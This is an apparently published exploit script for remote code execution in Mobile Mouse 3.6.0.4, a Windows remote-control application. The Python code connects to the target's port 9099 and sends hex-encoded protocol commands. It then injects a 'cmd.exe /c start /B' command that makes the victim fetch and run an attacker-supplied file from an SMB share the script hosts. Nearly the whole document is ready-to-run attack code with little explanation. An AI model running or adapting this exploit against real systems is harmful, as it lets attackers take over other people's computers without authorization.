Mobile Mouse 3.6.0.4 Remote Code Execution

`# Exploit Title: Mobile Mouse 3.6.0.4 Remote Code Execution v2 # Date: Apr  
28, 2023  
  
# Exploit Author: Chokri Hammedi  
  
# Vendor Homepage: https://mobilemouse.com/  
  
# Software Link: https://www.mobilemouse.com/downloads/setup.exe  
  
# Version: 3.6.0.4  
  
# Tested on: Windows 10 Enterprise LTSC Build 17763  
  
  
#!/usr/bin/env python3  
  
  
import socket  
  
from time import sleep  
  
import argparse  
  
import threading  
  
from impacket import smbserver  
  
  
def smb_server(lhost, file_to_serve):  
  
server = smbserver.SimpleSMBServer(listenAddress=lhost, listenPort=445)  
  
server.addShare("share", ".", "")  
  
server.start()  
  
  
help = " Mobile Mouse 3.6.0.4 Remote Code Execution "  
  
parser = argparse.ArgumentParser(description=help)  
  
parser.add_argument("--target", help="Target IP", required=True)  
  
parser.add_argument("--file", help="File name to Upload", required=True)  
  
parser.add_argument("--lhost", help="Your local IP", default="127.0.0.1")  
  
  
args = parser.parse_args()  
  
  
host = args.target  
  
command_shell = args.file  
  
lhost = args.lhost  
  
port = 9099 # Default port  
  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 256)  
  
s.connect((host, port))  
  
  
  
smb_server_thread = threading.Thread(target=smb_server, args=(lhost,  
command_shell))  
  
smb_server_thread.start()  
  
  
CONN =  
bytearray.fromhex("434F4E4E4543541E1E63686F6B726968616D6D6564691E6950686F6E651E321E321E04")  
  
s.send(CONN)  
  
run = s.recv(54)  
  
  
RUN = bytearray.fromhex("4b45591e3131341e721e4f505404")  
  
s.send(RUN)  
  
run = s.recv(54)  
  
  
sleep(0.5)  
  
  
payload = f"cmd.exe /c start /B  
\\\\{lhost}\\share\\{command_shell}".encode('utf-8')  
  
hex_payload = payload.hex()  
  
SHELL = bytearray.fromhex("4B45591E3130301E" + hex_payload + "1E04" +  
"4b45591e2d311e454e5445521e04")  
  
s.send(SHELL)  
  
shell = s.recv(96)  
  
  
print("Take The rose...")  
  
  
sleep(30)  
  
s.close()  
`